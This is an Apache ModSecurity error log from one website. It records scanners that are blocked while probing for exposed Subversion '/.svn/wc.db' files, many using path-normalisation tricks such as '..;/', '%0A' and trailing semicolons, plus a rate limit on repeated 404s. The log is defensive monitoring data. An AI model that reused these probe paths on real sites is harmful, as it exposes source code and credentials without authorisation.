[Sat Nov 29 06:03:35.504464 2025] [:error] [pid 53817:tid 53822] [client 217.146.83.115:46510] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aSocNxUtaHwNb4_nTTSw9QAAAAE"]
[Sat Nov 29 06:03:36.021610 2025] [:error] [pid 22280:tid 22299] [client 217.146.83.115:46880] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aSocOJFKJ7cA_ndzTYs0RAAAAVE"]
[Sat Nov 29 13:25:12.631422 2025] [:error] [pid 25341:tid 25348] [client 213.21.239.4:38860] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/dev/.svn/wc.db"] [unique_id "aSqDuPWK8JdN03Mg7dzrVwAAAcM"]
[Sat Nov 29 13:25:12.631728 2025] [:error] [pid 32136:tid 32148] [client 213.21.239.4:38968] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/a/.svn/wc.db"] [unique_id "aSqDuMSj_WSVQM1psKpMPAAAAQo"]
[Sat Nov 29 13:25:12.636960 2025] [:error] [pid 25341:tid 25369] [client 213.21.239.4:38828] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/AWSconf.svn/wc.db"] [unique_id "aSqDuPWK8JdN03Mg7dzrWAAAAdg"]
[Sat Nov 29 13:25:12.637231 2025] [:error] [pid 20915:tid 20935] [client 213.21.239.4:38894] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.svn/wc.db"] [unique_id "aSqDuFOOtKw1QZ3TPESmwAAAANI"]
[Sat Nov 29 13:25:12.637900 2025] [:error] [pid 25341:tid 25359] [client 213.21.239.4:39040] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/content../.svn/wc.db"] [unique_id "aSqDuPWK8JdN03Mg7dzrWQAAAc4"]
[Sat Nov 29 13:25:12.639822 2025] [:error] [pid 20915:tid 20918] [client 213.21.239.4:39026] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/beta/.svn/wc.db"] [unique_id "aSqDuFOOtKw1QZ3TPESmwQAAAME"]
[Sat Nov 29 13:25:12.640792 2025] [:error] [pid 32136:tid 32153] [client 213.21.239.4:39028] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/database/.svn/wc.db"] [unique_id "aSqDuMSj_WSVQM1psKpMPQAAAQ8"]
[Sat Nov 29 13:25:12.642590 2025] [:error] [pid 20915:tid 20919] [client 213.21.239.4:39042] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/data/.svn/wc.db"] [unique_id "aSqDuFOOtKw1QZ3TPESmwgAAAMI"]
[Sat Nov 29 13:25:12.643654 2025] [:error] [pid 16610:tid 16627] [client 213.21.239.4:38972] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/blog/wp-content/themes/.svn/wc.db"] [unique_id "aSqDuATu2dLzNk_QISrSngAAAY8"]
[Sat Nov 29 13:25:12.644907 2025] [:error] [pid 25341:tid 25354] [client 213.21.239.4:38844] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/assets../.svn/wc.db"] [unique_id "aSqDuPWK8JdN03Mg7dzrWgAAAck"]
[Sat Nov 29 13:25:12.647677 2025] [:error] [pid 16610:tid 16617] [client 213.21.239.4:38908] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/application/.svn/wc.db"] [unique_id "aSqDuATu2dLzNk_QISrSnwAAAYU"]
[Sat Nov 29 13:25:12.648153 2025] [:error] [pid 16610:tid 16620] [client 213.21.239.4:38910] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.svn/wc.db"] [unique_id "aSqDuATu2dLzNk_QISrSoAAAAYg"]
[Sat Nov 29 13:25:12.650955 2025] [:error] [pid 25341:tid 25355] [client 213.21.239.4:38876] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/backup/.svn/wc.db"] [unique_id "aSqDuPWK8JdN03Mg7dzrWwAAAco"]
[Sat Nov 29 13:25:12.655479 2025] [:error] [pid 62619:tid 62628] [client 213.21.239.4:38984] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/blog/.svn/wc.db"] [unique_id "aSqDuNk7ZYKT63FfVSUjZQAAAUc"]
[Sat Nov 29 13:25:12.655829 2025] [:error] [pid 62619:tid 62630] [client 213.21.239.4:38944] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/developer/.svn/wc.db"] [unique_id "aSqDuNk7ZYKT63FfVSUjZgAAAUk"]
[Sat Nov 29 13:25:12.656248 2025] [:error] [pid 62619:tid 62633] [client 213.21.239.4:38878] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/agraphics../wc.db"] [unique_id "aSqDuNk7ZYKT63FfVSUjYwAAAUw"]
[Sat Nov 29 13:25:12.657952 2025] [:error] [pid 62619:tid 62623] [client 213.21.239.4:38986] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/wc.db"] [unique_id "aSqDuNk7ZYKT63FfVSUjZAAAAUI"]
[Sat Nov 29 13:25:12.660332 2025] [:error] [pid 62619:tid 62634] [client 213.21.239.4:38898] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.svn/wc.db"] [unique_id "aSqDuNk7ZYKT63FfVSUjZwAAAU0"]
[Sat Nov 29 13:25:12.661269 2025] [:error] [pid 32136:tid 32158] [client 213.21.239.4:38912] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/demo/.svn/wc.db"] [unique_id "aSqDuMSj_WSVQM1psKpMPgAAARQ"]
[Sat Nov 29 13:25:12.662220 2025] [:error] [pid 20915:tid 20932] [client 213.21.239.4:38958] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/aomanalyzer/.svn/wc.db"] [unique_id "aSqDuFOOtKw1QZ3TPESmwwAAAM8"]
[Sat Nov 29 13:25:12.662594 2025] [:error] [pid 16610:tid 16632] [client 213.21.239.4:38948] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/amphtml/.svn/wc.db"] [unique_id "aSqDuATu2dLzNk_QISrSoQAAAZQ"]
[Sat Nov 29 13:25:12.664451 2025] [:error] [pid 25341:tid 25349] [client 213.21.239.4:38982] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/build/.svn/wc.db"] [unique_id "aSqDuPWK8JdN03Mg7dzrXAAAAcQ"]
[Sat Nov 29 13:25:12.665687 2025] [:error] [pid 20827:tid 20870] [client 213.21.239.4:38978] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/common/.svn/wc.db"] [unique_id "aSqDuIR9B7FcLfh1rSFWPQAAAEw"]
[Sat Nov 29 13:25:12.668670 2025] [:error] [pid 20828:tid 20885] [client 213.21.239.4:39022] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/cms/.svn/wc.db"] [unique_id "aSqDuOqW2f0jLRABAORT_AAAAIA"]
[Sat Nov 29 13:25:12.668998 2025] [:error] [pid 25341:tid 25366] [client 213.21.239.4:39020] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/css../.svn/wc.db"] [unique_id "aSqDuPWK8JdN03Mg7dzrXQAAAdU"]
[Sat Nov 29 13:25:15.899745 2025] [:error] [pid 25341:tid 25345] [client 213.21.239.4:39074] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/agraphics/.svn;/wc.db"] [unique_id "aSqDu_WK8JdN03Mg7dzrXgAAAcA"]
[Sat Nov 29 13:25:15.899737 2025] [:error] [pid 25341:tid 25351] [client 213.21.239.4:39112] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/dot.svn/wc.db"] [unique_id "aSqDu_WK8JdN03Mg7dzrXwAAAcY"]
[Sat Nov 29 13:25:15.902745 2025] [:error] [pid 32136:tid 32144] [client 213.21.239.4:39056] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics/.svn/wc.db;.."] [unique_id "aSqDu8Sj_WSVQM1psKpMPwAAAQY"]
[Sat Nov 29 13:25:15.902958 2025] [:error] [pid 25341:tid 25346] [client 213.21.239.4:39058] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics/..;/.svn/wc.db"] [unique_id "aSqDu_WK8JdN03Mg7dzrYAAAAcE"]
[Sat Nov 29 13:25:15.903742 2025] [:error] [pid 62619:tid 62624] [client 213.21.239.4:39082] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics/;/.svn/wc.db"] [unique_id "aSqDu9k7ZYKT63FfVSUjaQAAAUM"]
[Sat Nov 29 13:25:15.904462 2025] [:error] [pid 20826:tid 20839] [client 213.21.239.4:39172] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/.svn/%0Awc.db"] [unique_id "aSqDu_ABfBqk70vKX9R4MwAAAAk"]
[Sat Nov 29 13:25:15.905949 2025] [:error] [pid 20826:tid 20838] [client 213.21.239.4:39114] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/events../.svn/wc.db"] [unique_id "aSqDu_ABfBqk70vKX9R4NAAAAAg"]
[Sat Nov 29 13:25:15.909483 2025] [:error] [pid 20827:tid 20860] [client 213.21.239.4:39146] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au../wc.db"] [unique_id "aSqDu4R9B7FcLfh1rSFWQQAAAEI"]
[Sat Nov 29 13:25:15.909483 2025] [:error] [pid 16610:tid 16616] [client 213.21.239.4:39234] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/.svn;/wc.db"] [unique_id "aSqDuwTu2dLzNk_QISrSpAAAAYQ"]
[Sat Nov 29 13:25:15.910647 2025] [:error] [pid 32136:tid 32141] [client 213.21.239.4:39098] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics../.svn/wc.db"] [unique_id "aSqDu8Sj_WSVQM1psKpMQAAAAQM"]
[Sat Nov 29 13:25:15.911095 2025] [:error] [pid 20828:tid 20896] [client 213.21.239.4:39200] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/.svn/wc.db"] [unique_id "aSqDu-qW2f0jLRABAORT_gAAAIs"]
[Sat Nov 29 13:25:15.912584 2025] [:error] [pid 20828:tid 20906] [client 213.21.239.4:39276] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/..;/.svn/wc.db"] [unique_id "aSqDu-qW2f0jLRABAORT_wAAAJQ"]
[Sat Nov 29 13:25:15.913924 2025] [:error] [pid 32136:tid 32154] [client 213.21.239.4:39206] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/.svn/wc.db;"] [unique_id "aSqDu8Sj_WSVQM1psKpMQQAAARA"]
[Sat Nov 29 13:25:15.916433 2025] [:error] [pid 32136:tid 32149] [client 213.21.239.4:39246] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/;/.svn/wc.db"] [unique_id "aSqDu8Sj_WSVQM1psKpMQgAAAQs"]
[Sat Nov 29 13:25:15.918788 2025] [:error] [pid 20826:tid 20835] [client 213.21.239.4:39094] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics/static../.svn/wc.db"] [unique_id "aSqDu_ABfBqk70vKX9R4NQAAAAU"]
[Sat Nov 29 13:25:15.919969 2025] [:error] [pid 20827:tid 20863] [client 213.21.239.4:39270] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.svn/%0Awc.db"] [unique_id "aSqDu4R9B7FcLfh1rSFWQgAAAEU"]
[Sat Nov 29 13:25:15.921688 2025] [:error] [pid 20828:tid 20892] [client 213.21.239.4:39122] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/flock/.svn/wc.db"] [unique_id "aSqDu-qW2f0jLRABAORUAAAAAIc"]
[Sat Nov 29 13:25:15.924640 2025] [:error] [pid 20828:tid 20910] [client 213.21.239.4:39218] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/.svn/wc.db;.."] [unique_id "aSqDu-qW2f0jLRABAORUAQAAAJg"]
[Sat Nov 29 13:25:15.925739 2025] [:error] [pid 20828:tid 20899] [client 213.21.239.4:39194] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics/.svn/%0Awc.db"] [unique_id "aSqDu-qW2f0jLRABAORUAgAAAI4"]
[Sat Nov 29 13:25:15.925990 2025] [:error] [pid 20828:tid 20907] [client 213.21.239.4:39130] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics/.svn/wc.db;"] [unique_id "aSqDu-qW2f0jLRABAORUAwAAAJU"]
[Sat Nov 29 13:25:15.926874 2025] [:error] [pid 20828:tid 20891] [client 213.21.239.4:39152] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics/.svn/wc.db"] [unique_id "aSqDu-qW2f0jLRABAORUBAAAAIY"]
[Sat Nov 29 13:25:15.927697 2025] [:error] [pid 20827:tid 20873] [client 213.21.239.4:39258] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/static../.svn/wc.db"] [unique_id "aSqDu4R9B7FcLfh1rSFWQwAAAE8"]
[Sat Nov 29 13:25:15.932232 2025] [:error] [pid 32136:tid 32143] [client 213.21.239.4:39188] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au../.svn/wc.db"] [unique_id "aSqDu8Sj_WSVQM1psKpMQwAAAQU"]
[Sat Nov 29 13:25:15.932825 2025] [:error] [pid 20827:tid 20869] [client 213.21.239.4:39156] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/wc.db"] [unique_id "aSqDu4R9B7FcLfh1rSFWRQAAAEs"]
[Sat Nov 29 13:25:15.932968 2025] [:error] [pid 20827:tid 20875] [client 213.21.239.4:39158] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/agraphics/wc.db"] [unique_id "aSqDu4R9B7FcLfh1rSFWRgAAAFE"]
[Sat Nov 29 13:25:18.909210 2025] [:error] [pid 25341:tid 25349] [client 213.21.239.4:39388] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.svn/wc.db;.."] [unique_id "aSqDvvWK8JdN03Mg7dzrYwAAAcQ"]
